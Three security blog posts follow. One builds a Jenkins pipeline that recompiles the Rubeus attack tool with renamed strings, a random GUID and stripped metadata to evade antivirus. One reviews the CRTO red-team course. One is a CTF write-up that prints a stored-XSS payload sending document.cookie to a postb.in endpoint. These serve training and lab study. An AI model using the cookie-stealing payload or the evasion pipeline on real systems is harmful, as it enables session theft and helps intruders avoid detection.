OffSecOps: Using Jenkins For Red Team Tooling

Origin

The inspiration for this post came from the excellent talk by Harmj0y at SO-CON 2020. I have been meaning to dig into using Jenkins to automate the building of red team tooling for some while now, but having recently completed the RTO exam, I felt it was time to have a play!

The Gist referenced by Harmjoy can be found here.

Aims

Before starting this mini project, my aim was to build a reasonably simple CI pipeline to:

  1. Get the latest version of Rubeus
  2. Perform some obfuscation
  3. Compile it.
  4. Have a less detectable Rubeus executable

With an aim to be able to take this code and re-use it on various other projects/repos as we wish, so modularity is a key aim here.

There are a fair amount of similarities between this post and the OffensivePipeline project, but I wanted to expand my knowledge within Jenkins rather than using C#, which I am already pretty comfortable with. I also feel Jenkins is likely to offer more flexibility in the future as I expand this project further.

An important caveat before we begin, I realise this guide only touches on some very basic obfuscation. The resulting binary will still be easily detectable, but this guide should highlight some of the basics!

Initial Jenkins Configuration

There are plenty of guides out there for installing Jenkins, so I wont labour the point here. A blog post from XenoSCR helped me at the start to install and configure Jenkins, as well as setting up a basic pipeline.

As stated earlier I wanted to be able to compile the projects within Jenkins, so naturally MSBuild was going to be the main candidate to do this. As usual, StackOverflow contains a guide on how to setup MSBuild in Jenkins, which I will cover below.

First, lets go to Manage Jenkins -> Plugin Manager. I didn’t have an MSBuild entry in my Global Tool Configuration page, so I had to go and install it from the Plugin Manager

When this has downloaded, we will add our configuration by going to Manage Jenkins -> Global Tool Configuration and scrolling down to the MSBuild section.

Click on ‘Add MSBuild’ and fill in the details for the path to MSBuild. Ensure you use the path to MSBuild for your installation of Visual Studio, I originally set it to the path for v4.0.3019 but I had a lot of issues with it failing to compile the project correctly.

Jenkins Pipeline

As described by Will in his talk, we will use ‘Pipelines’ to perform this compilation. From the Jenkins Dashboard we can click on New Item, and then select ‘Pipeline’.

For a basic project, lets use the code sample below. This will download Rubeus from GitHub and then show the contents of the folder.

pipeline { 
    agent any
    
    environment { 
        PROJECT_NAME = "Rubeus"
    }
    
    stages {
    	stage('Checkout') {
    	    steps {
                git """https://github.com/GhostPack/${env.PROJECT_NAME}.git"""
    	    }
    	}
            
        stage('Echo') {
            steps {
                bat """dir C:\\ProgramData\\Jenkins\\.jenkins\\workspace\\MSBuildTest\\${env.PROJECT_NAME}"""
            }
        }
    }
}

Click on Save, and then on Build Now. We can then click on ‘Console Output’ to show us what Jenkins is doing. This should reveal the information below, which will show us the root directory of our Rubeus directory – proving we can clone the repository via code!

Now we can prove that we can actually run a job and it will execute code, lets try to automate a bit more of this. We currently are pulling the repo and running dir, lets try to actually compile this code into an executable.

Compiling Rubeus

Thanks to us configuring MSBuild earlier, we can now refer to it from within our pipeline – no need to mess around with remembering the path all of the time!

First off, MSBuild has a *fairly* complex command line structure, so I first got this working in the command line before porting it across to Jenkins. This isnt helped by Rubeus using .NET v4.0 which is no longer officially supported by Microsoft, so I was unable to find a legit download of the binary. Due to this, I used .NET v4.8 which isnt the best option for us in terms of compatibility, but we can always change that down the road!

After a lot of trial and error with MSBuild and the various command line options, my final command was:

"C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" /p:Configuration=Release "/p:Platform=Any CPU" /maxcpucount:2 /nodeReuse:false /p:TargetFrameworkMoniker=".NETFramework,Version=v4.8" Rubeus.sln

We now get a success message from MSBuild!

Lets now change our jenkinsfile up so that it will compile the tool using MSBuild. We will wrap that earlier MSBuild command in a new stage to help keep our project nice and modular:

stage('Compile') {
    steps {
        bat "\"${tool 'MSBuild_VS2022'}\\MSBuild.exe\" /p:Configuration=${env.CONFIG} \"/p:Platform=${env.PLATFORM}\" /maxcpucount:%NUMBER_OF_PROCESSORS% /nodeReuse:false /p:TargetFrameworkMoniker=\".NETFramework,Version=v4.8\" ${env.PROJECT_FILE_PATH}" 
    }
}

I also added in a temporary stage to print out the contents of the Rubeus\bin\Release folder. This helped me test that it had actually compiled the executable and saved me a few clicks as I debugged the pipeline.

With these additions, our jenkinsfile now looks like the code below. You can see I have added some more environment variables, which will help me to reuse this code for other repositories.

pipeline { 
    agent any
    
    environment { 
        PROJECT_NAME = "Rubeus"
        PROJECT_FILE_PATH = "Rubeus.sln"
        CONFIG = 'Release' 
        PLATFORM = 'Any CPU' 
    }
    
    stages {
    	stage('Checkout') {
    	    steps {
                git """https://github.com/GhostPack/${env.PROJECT_NAME}.git"""
    	    }
    	}
            
        stage('Echo') {
            steps {
                bat """dir C:\\ProgramData\\Jenkins\\.jenkins\\workspace\\MSBuildTest\\${env.PROJECT_NAME}"""
            }
        }
        
        stage('Compile') {
            steps {
                bat "\"${tool 'MSBuild_VS2022'}\\MSBuild.exe\" /p:Configuration=${env.CONFIG} \"/p:Platform=${env.PLATFORM}\" /maxcpucount:%NUMBER_OF_PROCESSORS% /nodeReuse:false /p:TargetFrameworkMoniker=\".NETFramework,Version=v4.8\" ${env.PROJECT_FILE_PATH}" 
            }
        }
        
        stage('Echo Post Compilation') {
            steps {
                bat """dir C:\\ProgramData\\Jenkins\\.jenkins\\workspace\\MSBuildTest\\${env.PROJECT_NAME}\\bin\\${CONFIG}"""
            }
        }
    }
}

We can assess our progress by uploading our binary to VirusTotal. Whilst I wouldnt do this on a live test, it is handy for assessing how well this pipeline works. We will test this again at the end of this post, but for now our binary is only detected by 41 vendors – even though it is totally unobfuscated.

Jenkins Shared Libraries

We now have a good base to build from, as we can pull the latest version of Rubeus and compile it just from a click of a button! Our aim now is to remove some well known strings from the Rubeus executable. This will be the first baby steps towards us obfuscating our executable file.

To do this, we will use Shared Libraries to bundle up samples of code which we will reuse. For example, this will be stuff such as changing the default GUIDs, removing comments and so on. Conceptually, this is very similar to using functions when programming.

First off, we will create a shared library by creating a folder structure as shown below. I based my library on this blog post.

- obfuscation-lib/
  --> vars/
      --> someFunction.groovy

The code for my someFunction.groovy file was:

def call(String name = 'User') {
    echo "Welcome, ${name}."
}

Annoyingly, we can’t include a local path to a Shared Library in Jenkins, as it expects us to load it from Git. There is a nice hacky workaround where we can load a local Git repository using the file:// protocol handler, as described here.

To prep my library for this, I created a new git repository and committed my code to it. You have to remember to commit your code after every change to your library!

We will then go to Manage Jenkins -> Configure System -> Global Pipeline Libraries, and add our library in.

We can choose a name here, I will go for obfuscation-lib, and then we set the project repository to point at the location of our newly created git repository.

Back in our pipeline’s jenkinsfile, we now have to import this library using the name we just set (At the top of the above photo). We import it with the following code:

@Libary('LIBRARY_NAME')_

Don’t forget the underscore after the bracket, else it wont work!

To summarise, with our shiny new library, this gives us the following very basic pipeline below. Whilst you don’t have to use variables in our function call, I wanted to ensure it would work.

@Library('obfuscation-lib')_

pipeline { 
    agent any
    
    environment { 
        SOME_VAR = "SOME_VALUE"
    }
    
    stages{
        stage('Library Test') {
            steps{
                someFunction "${SOME_VAR}"
            }
        }
    }
}

As shown below, it will print out our variables.

Comment Obfuscation

Putting this altogether, lets use our obfuscation-lib library to obfuscate something useful within our target repository. To do this, we will build a pretty basic string replacement function. We will use this to replace any phrases which are known to set off EDR/AV alerts. A basic example would be replacing any mention of ‘mimikatz’.

Firstly, lets get the path to the Jenkins workspace. Ideally we will do this without having to manually specify it for each function call. Luckily we can use ${WORKSPACE} within our shared library to get this path. We can now update our library and it will print the directory out.

def call(String name = 'User') {
    echo "Welcome, ${name}. Workspace is ${WORKSPACE}"
}

Commit our changes and re-run the pipeline, and we get the following:

From here, we will use some code from this post to create a simple find and replace tool.

//Heavily adapted from  http://www.ensode.net/roller/dheffelfinger/entry/groovy_script_to_find_and
def call(String extension = '*.cs', String findText = '', String replaceText = '') {
    //Navigate to the current workspace
    def currentDir = new File("${WORKSPACE}");

    def backupFile;
    def fileText;

    currentDir.eachFileRecurse({
        file ->
        for (ext in exts){
            if (file.name.endsWith(extension)) {
                fileText = file.text;
                backupFile = new File(file.path + ".bak");
                backupFile.write(fileText);
                fileText = fileText.replaceAll(findText, replaceText)
                file.write(fileText);
            }
        }
    })
}

We will now add another stage into the pipeline, called “Obfuscate“. We will attempt to obfuscate the version number to demonstrate our function works. Also I will modify the “Echo Post Compilation” step to instead run Rubeus so we can check if the version number changed or not. This leaves us with these two new stages below.

stage('Obfuscate') {
    steps {
        replaceAll(".cs", "v2.0.2", "NO_SIGNATURES_PLZ")
          }
}

stage('Execute Post Compilation') {
    steps {
        bat """C:\\ProgramData\\Jenkins\\.jenkins\\workspace\\MSBuildTest\\${env.PROJECT_NAME}\\bin\\${CONFIG}\\Rubeus.exe"""
    }
}

After running this, it with an error relating to “expected to call java.io.File.eachFileRecurse but wound up catching org.jenkinsci.plugins.workflow.cps.CpsClosure2.call error“. This is explained here, but basically we need to add @NonCPS to the top of our custom function.

We now end up with the following jenkinsfile:

@Library('obfuscation-lib')_

pipeline { 
    agent any
    
    environment { 
        PROJECT_NAME = "Rubeus"
        PROJECT_FILE_PATH = "Rubeus.sln"
        CONFIG = 'Release' 
        PLATFORM = 'Any CPU' 
    }
    
    stages {
    	stage('Checkout') {
    	    steps {
                git """https://github.com/GhostPack/${env.PROJECT_NAME}.git"""
    	    }
    	}
            
        stage('Echo') {
            steps {
                bat """dir C:\\ProgramData\\Jenkins\\.jenkins\\workspace\\MSBuildTest\\${env.PROJECT_NAME}"""
            }
        }
        
        stage('Obfuscate') {
            steps {
                replaceAll(".cs", "v2.0.2", "NO_SIGNATURES_PLZ")
            }
        }
        
        stage('Compile') {
            steps {
                bat "\"${tool 'MSBuild_VS2022'}\\MSBuild.exe\" /p:Configuration=${env.CONFIG} \"/p:Platform=${env.PLATFORM}\" /maxcpucount:%NUMBER_OF_PROCESSORS% /nodeReuse:false /p:TargetFrameworkMoniker=\".NETFramework,Version=v4.8\" ${env.PROJECT_FILE_PATH}" 
            }
        }
        
        stage('Execute Post Compilation') {
            steps {
                bat """C:\\ProgramData\\Jenkins\\.jenkins\\workspace\\MSBuildTest\\${env.PROJECT_NAME}\\bin\\${CONFIG}\\Rubeus.exe"""
            }
        }
    }
}

And then our custom function:

//Heavily adapted from  from http://www.ensode.net/roller/dheffelfinger/entry/groovy_script_to_find_and
@NonCPS
def call(String extension = '.cs', String findText = '', String replaceText = '') {
    //Navigate to the current workspace
    def currentDir = new File("${WORKSPACE}");
    def fileText;

    currentDir.eachFileRecurse({
        file ->
            if (file.name.endsWith(extension)) {
                fileText = file.text;
                fileText = fileText.replaceAll(findText, replaceText)
                file.write(fileText);
            }
    })
}

Now when we run our pipeline, we can see that we have modified the version number which Rubeus puts out to the console:

Extending Our Custom Function (Again)

We can further extend this function to create a basic function which performs some common OPSEC considerations for a C# projects. There is a lot of different checks which could be built in here, but we will focus on two main ones just to prove the point:

  1. Change the GUID of the binary
  2. Remove assembly information

Changing the GUID

As we can see from the AssemblyInfo.cs file, Rubeus uses a GUID of 658c8b7f-3664-4a95-9572-a3e5871dfc06.

This will tip off any analyst that we are using Rubeus, as we can see from Googling the GUID:

We will first use a regex to escape this. I found https://www.freeformatter.com/java-regex-tester.html a great resource when developing these Java regexes, and it saves re-running the pipeline over and over again! To save you from having to write Java regex, below is my code:

@NonCPS
def call() {
    //Replace the default GUID & assembly info
    sanitiseAssemblyInfo();
}

@NonCPS
def sanitiseAssemblyInfo(){
    def assemblyInfoFile = new File("${WORKSPACE}\\${PROJECT_NAME}\\Properties\\AssemblyInfo.cs");
    def assemblyInfoText = assemblyInfoFile.text;

    //Replace the default GUID (e.g. "[assembly: Guid("658c8b7f-3664-4a95-9572-a3e5871dfc06")]")
    def newGUID = "[assembly: Guid(\"${UUID.randomUUID().toString()}\")]"
    assemblyInfoText = assemblyInfoText.replaceAll(/\[assembly:\sGuid.*/, newGUID)
}

After committing our changes and running the pipeline, we can see that the AssemblyInfo.cs file has been modified, and we have a new GUID.

We can then extend our function to clear all the assembly values, only leaving a version number. This follows a very similar pattern to the function above:

@NonCPS
def call() {
    //Replace the default GUID & assembly info
    sanitiseAssemblyInfo();
}

@NonCPS
def sanitiseAssemblyInfo(){
    def assemblyInfoFile = new File("${WORKSPACE}\\${PROJECT_NAME}\\Properties\\AssemblyInfo.cs");
    def assemblyInfoText = assemblyInfoFile.text;

    //Replace the default GUID (e.g. "[assembly: Guid("658c8b7f-3664-4a95-9572-a3e5871dfc06")]")
    def newGUID = "[assembly: Guid(\"${UUID.randomUUID().toString()}\")]"
    assemblyInfoText = assemblyInfoText.replaceAll(/\[assembly:\sGuid.*/, newGUID)

    //Replace any entry beginning with "[assembly: Assembly", removing the value within the brackets.
    //I.e. [assembly: AssemblyTitle("Rubeus")] ==> [assembly: AssemblyTitle("")]
    //See https://stackoverflow.com/a/38296697 for more info
    assemblyInfoText = assemblyInfoText.replaceAll(/(\[assembly:\sAssembly.*\(\").*/, '$1\")]')

    //Finally, we will set the AssemblyVersion value to be 1.0.0.0 just to make it look a bit more legit
    assemblyInfoText = assemblyInfoText.replaceAll(/\[assembly:\sAssemblyVersion.*/, "[assembly: AssemblyVersion(\"1.0.0.0\")]")

    //And write it all to the file :)
    assemblyInfoFile.write(assemblyInfoText);
}

Now if we view the AssemblyInfo.cs file, we can see that the assembly information has been stripped out successfully.

Putting this all together, we have our final jenkinsfile:

@Library('obfuscation-lib')_

pipeline { 
    agent any
    
    environment { 
        PROJECT_NAME = "Rubeus"
        PROJECT_FILE_PATH = "Rubeus.sln"
        CONFIG = 'Release' 
        PLATFORM = 'Any CPU' 
    }
    
    stages {
        stage('Checkout') {
    	    steps {
                git """https://github.com/GhostPack/${env.PROJECT_NAME}.git"""
    	    }
    	}

        stage('Obfuscate') {
            steps {
                replaceAll(".cs", "v2.0.2", "NO_SIGNATURES_PLZ")
                cSharpBasicOpsec()
            }
        }
        
        stage('Compile') {
            steps {
                bat "\"${tool 'MSBuild_VS2022'}\\MSBuild.exe\" /p:Configuration=${env.CONFIG} \"/p:Platform=${env.PLATFORM}\" /maxcpucount:%NUMBER_OF_PROCESSORS% /nodeReuse:false /p:TargetFrameworkMoniker=\".NETFramework,Version=v4.8\" ${env.PROJECT_FILE_PATH}" 
            }
        }
        
        stage('Execute Post Compilation') {
            steps {
                bat """C:\\ProgramData\\Jenkins\\.jenkins\\workspace\\MSBuildTest\\${env.PROJECT_NAME}\\bin\\${CONFIG}\\Rubeus.exe"""
            }
        }
    }
}

In addition to these functions, I then added another find and replace to remove the default help text for Rubeus. After compiling this project, we can now see that only 32 vendors detect the code – meaning we have defeated 9 of them!

What Next?

From this point, there is a lot of different ways which you could take this project. Harmj0y touches on a few within his talk, but some of the easier items I have implemented are:

Changing The Namespace

The Rubeus namespace is very well known, so changing this was one of my first priorities.

This is easily visible within the project:

Removal Of ‘Bad’ Functions

Using our offensive-lib library, I created a new function to remove any functions which are known to be easily detectable. As mentioned before, I used this to remove the default help text functions “ShowLogo” and “ShowUsage” in Rubeus.

For now, I have opted to just replace the function with a single new line, though this could be replaced with C# code, should we need to preserve functionality.

Implementing Automatic AMSI Checking

By using the ThreatCheck project by RastaMouse, we can have our pipeline automatically check itself against AMSI signatures. We will just run the check and manually review the output, but for production use we would likely implement this as a test – so that any code detected by AMSI is not compiled for use.

Slack Intergration

Instead of having to review the output of our builds, we can instead use a plugin and Slack WebHooks to get the data sent straight to us!

Summary

This is just the first baby steps into using Jenkins for OffSecOps, but hopefully it shows the potential use of a system such as this.

Some of the next steps I have planned include implementing more GitHub projects, as well as running multiple pipelines to automatically build my red teaming toolset.

Certified Red Team Operator (CRTO) Review

Intro

Having recently passed the CRTO course by RastaMouse, I felt it was only right to write a little review on it. Typically, the course has changed slightly since I sat it, with the labs now using Elastic Security in place of Splunk. Aside from this I believe the course is practically the same.

TL:DR

Go and buy it now! It is the best qualification out there if you are looking to break into offensive security. The labs & coursework are great and will teach you a range of techniques used in real-world red teaming.

In the past few days since writing this, CRTO has been listed as a ‘Trusted Training Partner’, showing how good this course is.

Labs

The course works via Apache Guacamole, in a very similar way to ImmersiveLabs and a few other online training providers. All of the labs can be spun up on request, but you only have a limited amount of lab time.

I went for the 120 hour option, which I felt was just right, though I would recommend reading through the material first and then approaching the labs. This will reduce the amount of time the labs are running whilst you try to understand the more complex attacks (cough cough resourcebased constrained delegation).

I believe CRTO is the cheapest way you can legitimately use Cobalt Strike, without having to pass the licencing checks or use a cracked version. This is really handy as Cobalt Strike is used so widely for red teaming.

Lab Issues

Running the labs through a browser does have its limitations, with no drag-and-drop and less keyboard shortcuts available. I would say this is preferable to having to create your own VMs and VPN into a network, as you can begin learning straight away.

The labs I had came with a version of Office and Splunk, both of which reverted to a trial mode after a few uses, whilst there was a fix for that issue, it did feel a little hacky to me.

Importantly, these are dedicated labs and you wont accidentally get any spoilers from other users. As with most online labs, it is worth giving them 5-10 minutes to fully load before beginning any testing or activity.

Learning Material

As mentioned previously, the content of this course is EXCELLENT. It covers a wide range of different attacks, as well as covering off the paperwork & reporting side of red teaming. The material is written in the style of a technical blog post, with code snippets throughout. Handily there are some videos included for the more complicated techniques, which helped to solidify my understanding. There are also hints and tips for OPSEC considerations, which is a nice touch.

A significant part of the material focuses on Active Directory-based attacks, such as kerberoasting or AD permission abuse. There are also sections on attacking SQL Server and GPOs which I personally found really interesting.

Exam

The exam gives you 48 hours of lab time over a span of 4 days, with a mock network for you to break into. This basically the same format as the labs, with the ability to reset your Kali and Windows boxes.

Scoring is structured like a CTF, where you only have to obtain a flag on the machine to prove you have compromised it. There are 8 machines, and you need to obtain 6 flags to pass. Importantly there is no reporting requirements, which makes this exam feel far less stressful than OSCP.

The exam can be booked at really short notice – I booked mine with only 6 hours of notice. When your exam starts, you will have another course option within SnapLabs which contains the lab environment.

One thing which surprised me was the smaller toolset available in the exam – something which I hadn’t seen anyone else mention in the other reviews. Effectively you have a subset of the tools from the training labs, which required me to think on my feet a bit! Whilst it pointed out some gaps in my knowledge, I think it would have been handy to have the full toolset for the exam, or at least have knowledge of which tools wouldn’t be provided in the exam.

The exam lab was also really well laid out, allowing you to easily regain your access without having to recompromise every machine in turn. There are some quirks with the exam labs though, with one of my flags failing to generate. This can be resolved by chatting to RastaMouse on the dedicated Discord channel.

CRTO vs OSCP

OSCP has been a fairly ubiquitous qualification within cyber security for a number of years. I would personally say that OSCP does have its place, and is still worth the effort if you are wanting to pursue a penetration testing route. Despite that, I feel that there is more to be gained from completing CRTO and paying for VIP+ on HackTheBox, than shelling out for OSCP.

OSCP was a great learning experience for me, but most of the machines were severely outdated and used exploits from the 00’s. In comparison, CRTO uses Windows 10/Server 2016+ everywhere, making it far more representative of the real-world. The majority of CRTO is misconfiguration-based, whereas OSCP is vulnerability-based.

The exam experience for CRTO was also significantly better, with far less lead time and a less stringent approach. There is no proctoring or report writing, and the 4 day timespan means you can still have a life whilst taking the test.

Improvements

I would change very little about the CRTO course personally. I think VPN access would be handy so that you can bring your own tooling, but it isn’t a big issue at all.

Update 23/2/22: RastaMouse confirmed that the lack of VPN access is a requirement of the licencing with Cobalt Strike (HelpSystems). Therefore the lack of VPN makes total sense in order to get a CS licence in this training!

As mentioned about 10 times a day on Discord, RTO 2.0 would be the main improvement I can think of. A course focused more on AV/EDR evasion or simply more advanced/complex attacks would be a great addition to this course. I think a greater focus on maintaining long term access to the target network would also be a nice improvement, as CRTO only briefly touched on it.

I also think a course which required you to use Splunk/Elastic in combination with Cobalt Strike would be quite interesting and could be aimed more at threat hunters or SOC analysts.

Overall

As you have probably guessed, I really enjoyed this course. I am not aware of any other courses which offer the combination of great labs and content like CRTO does. I think it is a great introduction into red teaming methodology, and will help many people to up their skills.

Below are some other blog posts I found handy before taking my exam, which are also worth checking out:

HTB Christmas CTF – Toy Workshop

Overview

Toy Workshop was a 1 star rated ‘Web’ challenge from the HackTheBox “Cyber Santa is Coming to Town” CTF. This was an interesting challenge, with the flag coming from a blind stored-XSS which led to the leakage of the flag from a cookie value in a Puppeteer instance.

After that mouthful, lets take a look at my solution to this problem.

Tooling Used

I made use of a number of new tools for this challenge. Rather than spinning up an Azure VM, I wanted to try and use free online resources. In particular, I used:

Recon

I performed initial recon with my go-to combination of nikto -host x.x.x.x and gobuster dir -u http://x.x.x.x. These returned nothing interesting, so I moved to digging through the resources on the site. At this point I remembered that we can download the files for the server from the CTF site. This reveals a POST request to /api/submit.

Initially, I thought the vulnerability would be within the logic for the /queries endpoint. Due to this checking for a localhost address, I suspected that spoofing the X-Forwarded-For header could allow this check to be bypassed. As Express is known to have issues when relying on the value from the req.ip parameter.

After many attempts, I decided to look elsewhere as I wasnt making progress. After a short search, I discovered the bot.js file, which had some unusual behaviour.

Bot.js

The bot.js file uses puppeteer to load the site. As shown on line 24 of the file, the flag is included in the cookies when it loads the site. My initial thought here was to either obtain command execution or a reverse shell. With no obvious routes to achieve this, I decided to try and inject HTML into the web page.

As you can see from the logic of the server, it uploads our data to the database and then queries it using puppeteer. This means we could upload HTML and it should be processed by the bot. The code for the database actions are shown below:

Canary Tokens

To test this theory, I created a CanaryToken web bug to test that I could perform two different actions.

  • The ability to inject HTML into the /queries endpoint
  • The server can reach out to an arbitrary web resource (i.e no firewalls)

Using a temporary email address, I registered this token. I then created a basic payload to inject an image into the webpage. Using Burp Suite I was able to insert it to the database.

This then returned a hit to my temporary mailbox, as shown below.

Final Payload

To convert this into a working payload, I decided to redirect the /queries endpoint to a postb.in page I controlled. This allowed me to POST the value of the cookies out. In the end, my complete payload for /api/submit was as follows:

{
    "query":"<html><script>document.location=\"https://postb.in/RANDOM_ID? cookie=\"+document.cookie</script></html>"
}

In postb.in we can view the contents of the cookies:

Revealing a flag of HTB{3v1l_3lv3s_4r3_r1s1ng_up!} for Toy Workshop .